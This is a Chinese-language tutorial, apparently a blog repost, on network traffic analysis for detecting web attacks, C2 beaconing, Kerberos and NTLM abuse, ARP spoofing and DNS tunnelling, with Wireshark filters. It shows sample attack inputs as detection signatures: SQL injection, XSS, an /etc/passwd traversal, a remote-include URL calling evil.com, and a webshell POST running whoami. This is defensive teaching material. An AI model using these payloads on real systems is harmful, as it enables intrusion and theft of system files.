// 红队渗透 · 2025-02-23

流量分析基础知识一文速通

流量分析安全运维运维网络安全

🔍 1. 引言：流量分析的重要性

在网络安全领域，流量分析是检测攻击、溯源黑客行为、取证分析的核心技术之一。无论是 Web 攻击、内网渗透，还是协议滥用，流量数据都是最直接、最可靠的证据。

在安全事件调查中，我们通常依赖 电子四大证据：

  • 📜 日志（Logs）：记录主机、网络设备、安全设备的操作历史，如 WAF、IDS/IPS 记录的攻击日志。
  • 🌐 流量（Traffic）：抓取网络数据包，分析攻击者行为及 C2（命令控制）通信。
  • 🧠 内存（Memory）：分析进程运行时的内容，可能包含密钥、后门、Shellcode。
  • 💽 磁盘（Disk）：存储攻击者植入的 WebShell、恶意程序、凭据等关键数据。

🛠 2. 流量分析核心工具

工具 功能 适用场景
Wireshark 图形化抓包分析工具 详细分析流量，检测攻击行为
Tshark Wireshark 命令行版本 批量解析流量、自动化分析
Tcpdump 轻量级抓包工具 服务器端实时流量监测

📖 三大篇章：深入解析流量分析核心技术

分析方向 重点内容
Web 安全流量分析 Web 攻击（SQL 注入、XSS）、WebShell 特征分析与解密
内网安全流量分析 常见 C2 流量（Meterpreter、Cobalt Strike）、横向移动、Kerberos 与 NTLM 协议
网络协议安全分析 ARP 欺骗、MAC 欺骗、DHCP 伪造、DNS 隧道等流量攻击

📌 1. Web 安全流量分析

🔴 Web 攻击流量特征分析

常见 Web 攻击（SQLi、XSS、文件包含）具有明显的流量特征，如：

SQL 注入（SQLi）

GET /index.php?id=1 UNION SELECT 1,2,3--
  • 特征：
    • 出现 UNION SELECT、OR 1=1、AND 1=1等 SQL 关键字
    • 非正常 HTTP 请求，通常伴随 500、403、200 等异常状态码
    • 访问日志中 SQL 语句异常暴露

XSS 攻击

GET /search?q=<script>alert(‘XSS’);</script>
  • 特征：
    • script、onerror、<img src=x onerror=alert(1)> 等关键字
    • URL 中出现 %3Cscript%3E（URL 编码）
    • 受害者主机向攻击者 IP 发起 HTTP 请求

文件包含（LFI/RFI）

?page=../../../../../etc/passwd
  • 特征：
    • URL 中 ../../ 或 /etc/passwd 关键字
    • .php?page=http://evil.com/shell.txt 远程文件包含（RFI）
    • HTTP 响应数据中泄露系统文件内容

🕵️‍♂️ WebShell 解析与解密

WebShell 主要通过 HTTP POST 进行交互，常见特征包括：

  • 特征 1：POST 请求包含可疑 Payload 
    POST /uploads/shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
cmd=whoami
  • 特征 2：返回异常响应
    • 正常网站通常返回 200，但 WebShell 可能返回 空白页面（HTTP 204） 或 500
  • 特征 3：WebShell 加密流量
    • 使用 Base64 编码，如 ZXZhbCgnbHMgLWFsJyk=（解码后为 eval('ls -al')）

✅ 检测方式：

  • 结合 Wireshark + YARA 规则 扫描 WebShell 关键字
  • 在 WAF 规则中 拦截异常 POST 访问

📌 2. 内网安全流量分析

🔴 常见 C2 攻击流量

C2 工具 流量特征
Meterpreter HTTP/HTTPS 长连接，伪装正常流量
Cobalt Strike 可定制 C2，流量可能模仿正常网站访问
Sliver / Havoc 使用 WebSocket 或 DNS 隧道

Cobalt Strike 流量检测

  • 特征：
    • 心跳包（Beaconing）间隔固定
    • 服务器返回伪造 404、503 状态码
  • Wireshark 过滤规则 
    http.request && ip.src==192.168.1.100

🕵️‍♂️ 横向移动流量分析

🔹 Kerberos 攻击流量

  • 攻击方式：
    • AS-REP Roasting：请求未加密的 TGT 票据
    • Pass-the-Ticket（PtT）：窃取票据并伪造身份
  • 流量特征 
    kerberos.CnameString=="Administrator"
    • 大量 AS-REQ 请求
    • 目标账号可能为高权限用户

🔹 NTLM Relay 攻击

  • 特征
    • NTLMSSP_AUTH 请求异常增多
    • SMB、LDAP 认证失败率升高
  • 检测 
    smb && ntlmssp

📌 3. 网络协议安全分析

🔴 协议攻击与流量分析

协议 攻击手法 检测方式
ARP ARP 欺骗（中间人攻击） arp.duplicate-address-detected
MAC MAC 伪造（Mac Spoofing） eth.src == MAC地址
DHCP Rogue DHCP 服务器 bootp.option.dhcp == 2
DNS DNS 隧道、劫持 dns.qry.name contains "example.com"

🕵️‍♂️ DNS 隧道检测

  • 特征：
    • DNS 请求长度异常（如 Base64 编码）
    • 频繁向非标准 DNS 服务器请求
  • Wireshark 过滤规则 
    dns && frame.len > 300

🎯 结语：流量分析是安全分析的核心技能

流量分析不仅是 安全事件响应（Incident Response） 的核心，更是发现攻击、溯源黑客的重要手段。掌握 工具、协议、攻击流量特征，能让你在攻防对抗中快人一步！

原文 https://blog.csdn.net/2301_79518550/article/details/145687918